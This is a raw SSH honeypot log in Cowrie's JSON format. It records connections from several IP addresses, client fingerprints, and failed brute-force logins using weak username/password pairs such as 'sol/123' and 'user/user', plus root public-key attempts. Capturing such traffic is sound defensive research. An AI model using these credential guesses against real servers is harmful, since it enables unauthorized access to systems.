{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:13.984138Z","src_ip":"80.94.92.184","session":"8b1c8d827e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:14.914660Z","src_ip":"80.94.92.184","session":"8b1c8d827e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:16.059982Z","src_ip":"80.94.92.184","session":"8b1c8d827e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35848,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e18ec280856","protocol":"ssh","message":"New connection: 2.57.122.208:35848 (159.203.135.109:22) [session: 2e18ec280856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:18.017094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:18.186794Z","src_ip":"2.57.122.208","session":"2e18ec280856","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:18.190850Z","src_ip":"2.57.122.208","session":"2e18ec280856","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:19.733112Z","src_ip":"2.57.122.208","session":"2e18ec280856","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:21.144424Z","src_ip":"2.57.122.208","session":"2e18ec280856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.47","src_port":26088,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8d7f180784e","protocol":"ssh","message":"New connection: 64.89.160.47:26088 (10.17.0.5:22) [session: e8d7f180784e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:28.066197Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:28.071189Z","src_ip":"64.89.160.47","session":"e8d7f180784e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.160.47","src_port":26100,"dst_ip":"10.17.0.5","dst_port":22,"session":"57fa01b06671","protocol":"ssh","message":"New connection: 64.89.160.47:26100 (10.17.0.5:22) [session: 57fa01b06671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:28.166431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:28.171328Z","src_ip":"64.89.160.47","session":"57fa01b06671","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:28.264318Z","src_ip":"64.89.160.47","session":"57fa01b06671","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:28.438355Z","src_ip":"64.89.160.47","session":"57fa01b06671","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:37:29.527302Z","src_ip":"64.89.160.47","session":"57fa01b06671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34346,"dst_ip":"159.203.135.109","dst_port":22,"session":"07a2cc51c626","protocol":"ssh","message":"New connection: 2.57.122.208:34346 (159.203.135.109:22) [session: 07a2cc51c626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:28.326821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:28.506864Z","src_ip":"2.57.122.208","session":"07a2cc51c626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:28.510305Z","src_ip":"2.57.122.208","session":"07a2cc51c626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:29.838527Z","src_ip":"2.57.122.208","session":"07a2cc51c626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:31.138841Z","src_ip":"2.57.122.208","session":"07a2cc51c626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60272,"dst_ip":"10.17.0.5","dst_port":22,"session":"f55bd024bde9","protocol":"ssh","message":"New connection: 80.94.92.184:60272 (10.17.0.5:22) [session: f55bd024bde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:32.619644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:32.791531Z","src_ip":"80.94.92.184","session":"f55bd024bde9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:32.795138Z","src_ip":"80.94.92.184","session":"f55bd024bde9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:33.893592Z","src_ip":"80.94.92.184","session":"f55bd024bde9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:40:35.208212Z","src_ip":"80.94.92.184","session":"f55bd024bde9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.219.133.156","src_port":55072,"dst_ip":"10.17.0.5","dst_port":22,"session":"e49151287fe9","protocol":"ssh","message":"New connection: 185.219.133.156:55072 (10.17.0.5:22) [session: e49151287fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:14.472584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:14.476970Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:14.599328Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzQneXyCZL55hqsd75sjz+3XnU6XoWrSubP2xcPkiE/6iLXsVPw3K7GMZ4uIWMhzOawHX1Y+QytX88iwDZTcjsDD3kDvqvxK9WesFUEUw6+SpB3FcpfsIguJLYyuehBRRMztAn82UCg1+IKEkGVGtiSoNbbEjjVc+9tLNOoGmNJ4aRTGk8Qal2X5lK8PeN53+vGtCpP9d0gUyDihEGwkbFE+9S5foHbV7OIsO6ud5K9hmhBkax73tppWiKC7A3nDUbEwIS2PZ6ldZPJ9nwFknn8i5Eh3++a24k8xmHIXHs0IF0GdNqdarYHfvOjA3IFvKoGI5oRCsqiJMyZHfuPYsd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.180233Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d3:1b:95:85:d0:e8:b9:65:9c:cf:7f:79:5b:2c:0c:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzQneXyCZL55hqsd75sjz+3XnU6XoWrSubP2xcPkiE/6iLXsVPw3K7GMZ4uIWMhzOawHX1Y+QytX88iwDZTcjsDD3kDvqvxK9WesFUEUw6+SpB3FcpfsIguJLYyuehBRRMztAn82UCg1+IKEkGVGtiSoNbbEjjVc+9tLNOoGmNJ4aRTGk8Qal2X5lK8PeN53+vGtCpP9d0gUyDihEGwkbFE+9S5foHbV7OIsO6ud5K9hmhBkax73tppWiKC7A3nDUbEwIS2PZ6ldZPJ9nwFknn8i5Eh3++a24k8xmHIXHs0IF0GdNqdarYHfvOjA3IFvKoGI5oRCsqiJMyZHfuPYsd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.183348Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmnaf/uBzv1aeLoC6R/GYCNqVlrmy+QfSl/g9uMy8YGPfW/ZmkSRGkTGzYuMxVXTQPD+UBgNOtJQiSXzWRB6s5jpUWKrHmKVGBZP6OR7sE45R1cIW9yeoYod+/Bc0hRnpzqC/18HzLWYKV92HnEFqeejSn2/pAr6hsVyjsmbP1sLjtH3gyg0eOlBYETSFSqE4IpNtz+/uMZNS/2MxQPaI+jJmU8Z8SNlKMfTY0B1VkyKbczsrgkenzgrDpVNkUdrMu8yVlC+vkVQp9d+Ki8LbtmPP7Mb2Bf4dBAN1ELP/uOonLGkTY7ZPn5JWAPZ3omPO/0lojXi4Ai00qfOPoLKQ/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.306356Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:f8:c3:26:13:a7:41:1c:14:72:cb:31:58:1c:c1:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmnaf/uBzv1aeLoC6R/GYCNqVlrmy+QfSl/g9uMy8YGPfW/ZmkSRGkTGzYuMxVXTQPD+UBgNOtJQiSXzWRB6s5jpUWKrHmKVGBZP6OR7sE45R1cIW9yeoYod+/Bc0hRnpzqC/18HzLWYKV92HnEFqeejSn2/pAr6hsVyjsmbP1sLjtH3gyg0eOlBYETSFSqE4IpNtz+/uMZNS/2MxQPaI+jJmU8Z8SNlKMfTY0B1VkyKbczsrgkenzgrDpVNkUdrMu8yVlC+vkVQp9d+Ki8LbtmPP7Mb2Bf4dBAN1ELP/uOonLGkTY7ZPn5JWAPZ3omPO/0lojXi4Ai00qfOPoLKQ/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.310264Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwLIcqm29b2QBeFwo4aC6ZvFv2RRloWfTBKPRvV7s5pIJjzHchtjDqOoQAHKYjfoHpDkkxNS6EVtqB+Cw3DPWcP5w/eVpRmSoyJgQmUDXo3Q4TAXXp8RgZzQVZOnTgrz1lUg8HzDlKGxEbCNKunetFxLFXCiVi/TFmbfvilQUou/FfrYDM6rarwZYxC4byoafbUZUWUI+ZaZqTXFGUcnm95eDsH+BDAViN3pDnfVGDi1/Lu77Gjqf312ENZI9vJn11/0gME+ile8V60MmLESnXAWeLei0tRPG3DgSkQ36WHi704zFE2k2EZ+ZGXxxz+D7er0PUgUZFxdXUrKz2yleww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.432220Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:a4:e0:a6:a2:b7:fe:e3:56:54:18:a1:19:ef:c5:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwLIcqm29b2QBeFwo4aC6ZvFv2RRloWfTBKPRvV7s5pIJjzHchtjDqOoQAHKYjfoHpDkkxNS6EVtqB+Cw3DPWcP5w/eVpRmSoyJgQmUDXo3Q4TAXXp8RgZzQVZOnTgrz1lUg8HzDlKGxEbCNKunetFxLFXCiVi/TFmbfvilQUou/FfrYDM6rarwZYxC4byoafbUZUWUI+ZaZqTXFGUcnm95eDsH+BDAViN3pDnfVGDi1/Lu77Gjqf312ENZI9vJn11/0gME+ile8V60MmLESnXAWeLei0tRPG3DgSkQ36WHi704zFE2k2EZ+ZGXxxz+D7er0PUgUZFxdXUrKz2yleww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.436503Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Su8j7is0XTazqIm5aAzQselBqLJN89TGD+Xtdt8YNVnu4Uk/yMtCJCQqS3WSz47z1tvw3PSS9fURRegacxByEfcoCXpYAMnxIYfmyFQLcan3hllLQl7IsGjgz57/dYW0WJPWsIIT0pitIPjmybgc7n0lWJtq5J5LRhSa57KT84hWTtbpXWdnsE1ExHWI2OWGc7FGbqjnHKqLTCX2fcuHN0ezpZ0wWvbotTDxegK8eDbcwRaDJE7iwAttSAyJI3Hvu7f8spODOurgTJzPKeOldw3eVuBx0SbY57FvI+UwdHWg2hDICpGd+fm2cSq3QPzeQsLiTZ+cj3dxl+/V5w2DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:63:c3:a1:12:6c:68:db:df:c4:4c:08:c7:8e:06:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T09:41:15.558540Z","src_ip":"185.219.133.156","session":"e49151287fe9","protocol":"ssh"}
